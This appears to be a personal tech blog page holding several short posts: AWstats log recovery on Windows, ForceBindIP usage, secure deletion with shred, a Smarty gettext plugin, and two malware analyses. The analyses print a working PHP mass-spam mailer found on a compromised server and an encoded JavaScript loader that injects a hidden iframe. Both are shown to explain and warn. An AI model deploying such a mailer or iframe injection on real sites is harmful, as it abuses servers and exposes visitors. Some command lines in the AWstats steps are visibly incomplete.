How to manualy recreate AWstats logs on Windows

Sometimes it happens that your scheduled task on Windows missed some logs. I’ve recently had a such problem because I’ve deleted a Windows user that created AWstats task. What did I do to repair this awkward situation?

Firstly you cannot simply regenerate daily log from the past. In this case AWstats will simply skip old records. Follow this steps:

  1. Go to AWstats data directory (AWstats\cgi-bin\data).
  2. Use Windows search ability to show only problematic files (if file name is awstats102013.yoursite.txt simply type yoursite in a searchbox).
  3. Mark all found files and move them to the temporary location.
  4. Now run Windows cmd.
  5. Go to AWstats tools dir. In my case:
    cd C:\awstats-7.0\tools
  6. Now create a merged log for a problematic website:
    :: where xx is unique IIS webiste id L:\LOG_DIR\W3SVCxx\* > L:\LOG_DIR\W3SVCxx\merged.log
  7. Go to location:
    cd w:\wwwroot\AWstats\cgi-bin\
  8. Parse merged file: -config=yoursite -LogFile=L:\LOG_DIR\W3SVCxx\merged.log -update
  9. Place files from steps 2-3 back to their location. Don’t overwrite new files! Simply skip old ones.
  10. You should be able to see complete stats for your website.

TIP: How to dermine your webiste unique id? Simply go to IIS manager and click advanced settings in a right pane after selecting website.

PHP malicious code analysis no. 1

I found this piece of a PHP malware code on a compromised web server that I started to administer. It’s name was random character string eg. acbjxuu.php. There were about 20 more scripts of this kind. It’s rather very simple script for spaming purposes. For your understanding I’ve wrote what it’s doing in comments between code lines.

if (isset($_POST['task']))
	// be sure to display all PHP errors
	ini_set('display_errors', TRUE);
	// disable default PHP memory limit
	ini_set('memory_limit', '512M');
	// disable PHP execution time limit
	// get serialized array from POST var named task
	// example array structure: array(array('to'=>'[email protected]', 'msg'=>'message content', 'subj'=>'Message subject ex. cheap cialis :)'));
	$x = unserialize(base64_decode($_POST['task']));
	// if task variable was wrongly serialized, just die silently...
	if ($x==false) {exit();}
	$send_from = base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
	// now send half a million of viagra & cialis related mails... 
	foreach ($x as $arr)
		echo $arr['to']."\r\n";
		$arr['msg'] = str_replace('[send_from_url]',$send_from,$arr['msg']);
		mail($arr['to'],$arr['subj'],$arr['msg'],"MIME-Version: 1.0\r\nContent-type: text/html; charset=windows-1251\r\n");
	exit('SEND OK');

I’ll look in logs for IP addresses that tried to reach for this scripts. Maybe I’ll find something interesting. Wish me good luck and monitor your webserver contents!

Oldschool javascript malicious code analysis

I found this olschool piece of poorly obfuscated code during web surfing. Some time ago I decided to collect this kind of stuff for learning purposes… So here you have first one:

var temp="",i,c=0,out="";
var if_uniq_var="02102008-01";
var str="60!105!102!114!97!109!101!32!115!114!99!61!34!100!111!99!104!101!108!112!49!46!104!116!109!108!34!32!102!114!97!109!101!98!111!114!100!101!114!61!34!48!34!32!115!116!121!108!101!61!34!100!105!115!112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!";

Strange string with exclamation marks simply stands for:

<iframe style="display: none;" src="dochelp1.html" width="320" height="240" frameborder="0"></iframe>

So this piece of code simply attaches invisible frame to a current document. I didn’t find dochelp1.html on a server with infected website but after googling a while I found it’s contents:


Website that’s trying to redirect you to looks dead. This malware isn’t active anymore. I cannot investigare further. End of a story.

Infected source:

How to run application on specified interface?

If you have two interfaces, you can run programs using one of them (despite the fact that Windows selects default interface based on a metric value). For example I virtualize Windows 7 and I need same static ip for it that my host computer uses. It’s OK, in this scenario I can run applications using Virtualbox NAT (this virtual adapter ip is something like But I’m also a Heroes III gamer and I love to play with my coleagues using LAN. So there is need for a second adapter in bridged mode (with ip like 192.168.x.x).

What can I do?
Amazingly there is a Windows application that can do that. Simply download ForceBindIP from this site.

Usage is simple as that:

ForceBindIp -i c:\Windows\System32\mstsc.exe – interface ip

Remember to pass full path for a program that you’re trying to run!

How to delete file permanently in Linux?

Most of Linux distributions have shred already installed. So it’s really easy to delete a file in a secure manner:

shred -u -z -n 26 topsecret.txt

Meaning of used switches:

-n [N] Overwrite a file N times. For example, -n 20 will perform twenty passes over the file’s contents.
-u Remove the file after you’ve shredded it. You’ll probably want to use this option in most cases.
-z After shredding a file with random bits (ones and zeros), overwrite the file with only zeros. This is used to try and hide the fact that the file was shredded.

There is a Windows gui alternative available at

Smarty gettext with domain support (block t plugin) [depreciated]

Attention! Official Gettext plugin for Smarty has domain support since version 1.1. Check official repository:


This is a Smarty gettext plugin modification. It enables domain support and utilize gettext wrapper for PHP,

Why do I use such wrapper for a gettext? It’s simple, not every server has native support for translation. This crafty script gives you fallback in case if it does not.

Usage example:

Init before any template parsed by Smarty:

// include gettext wrapper for PHP
// set locale
T_setlocale(LC_MESSAGES, 'en_US');
// load lang file
/* loads ./lang/en_US/LC_MESSAGES/ (do not close path with final slash) */
T_bindtextdomain('example', './lang'); 
T_bind_textdomain_codeset('example', 'utf-8'); /* just in case */ 
// set default domain 

Smarty syntax example:

{t domain="example"}This text will be translated using gettext domain example.{/t}
{t}This text will be translated using standard gettext domain.{/t}


Simply put file block.t.php into Smarty plugins directory.